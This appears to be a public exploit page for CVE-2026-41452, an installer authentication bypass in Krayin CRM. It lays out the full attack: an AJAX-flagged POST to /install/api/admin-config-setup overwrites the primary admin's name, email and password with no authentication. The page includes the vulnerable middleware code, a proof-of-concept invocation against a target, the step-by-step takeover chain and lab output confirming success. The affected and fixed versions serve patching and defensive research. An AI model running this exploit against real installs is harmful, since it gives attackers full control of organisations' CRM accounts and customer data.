## https://sploitus.com/exploit?id=9308C73C-594A-59C0-995A-744188524837
# CVE-2026-41452 — Krayin CRM Installer Auth Bypass → Admin Takeover
**CVSS 9.8 (Critical)** · CWE-287 / CWE-306 · [Jiva writeup](https://jivasecurity.com/writeups/krayin-installer-bypass-account-takeover-cve-2026-41452) · [VulnCheck](https://www.vulncheck.com/advisories/krayin-crm-missing-authentication-via-install-api-admin-config-setup)
## Summary
Krayin CRM's installer exposes `POST /install/api/admin-config-setup` (plus `run-migration`,
`run-seeder`) **without CSRF protection** (`withoutMiddleware('web')` group). The `CanInstall`
global middleware only blocks the route for non-AJAX requests:
```php
// app/Http/Middleware/CanInstall.php
if ($this->isAlreadyInstalled() && ! $request->ajax()) {
return redirect()->route('admin.dashboard');
}
```
Sending `X-Requested-With: XMLHttpRequest` skips the check entirely. The controller then
`updateOrInsert`s the **hardcoded primary admin (user id=1)** with attacker-supplied
name/email/password (`role_id=1`, `status=1`) → **unauthenticated full admin takeover** on an
already-installed instance.
**Affected:** ≤ 2.2.0 and **2.2.4** (regression). Fixed: 2.2.1 (`e4eb96f5`), regressed in 2.2.4
(`6a7bc4cc`), re-fixed in 2.2.5 (`ea4919a8`). **`master` was still vulnerable at research time.**
## Exploit
```bash
python3 poc_cve-2026-41452.py http://TARGET newadmin newadmin@evil.com 'NewPass@123'
```
Chain:
1. Baseline: non-AJAX POST → blocked (302 redirect) — proves the middleware works for normal reqs
2. **AJAX POST** `X-Requested-With: XMLHttpRequest` → **HTTP 200 `1`** → admin (id=1) overwritten
3. Login to `/admin/login` with the new credentials → redirect to `/admin/dashboard`
4. Dashboard renders → **takeover confirmed**
## Verification (2026-08-12, Docker lab, ARM64)
```
[0] NON-AJAX POST -> HTTP 302 (blocked by CanInstall) [OK control]
[1] AJAX POST /install/api/admin-config-setup -> HTTP 200 '1' [OK overwrite]
[2] login pwned@evil.com -> HTTP 302 /admin/dashboard [OK]
[3] GET /admin/dashboard -> HTTP 200 (full dashboard) [OK]
=== VERDICT: CVE-2026-41452 EXPLOITABLE ===
```
Fixed-build comparison: with v2.2.5 files the same AJAX POST → **HTTP 403** (blocked).
## Impact
Any publicly reachable Krayin CRM install (v2.2.4 or ≤2.2.0) can be fully taken over by an
unauthenticated attacker in one request. No CSRF, no credentials, no interaction required.
## References
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-41452
- Jiva Security writeup: https://jivasecurity.com/writeups/krayin-installer-bypass-account-takeover-cve-2026-41452
- VulnCheck advisory: https://www.vulncheck.com/advisories/krayin-crm-missing-authentication-via-install-api-admin-config-setup
- Fix: `ea4919a8` (v2.2.5) · Regression: `6a7bc4cc` (v2.2.4) · First fix: `e4eb96f5` (v2.2.1)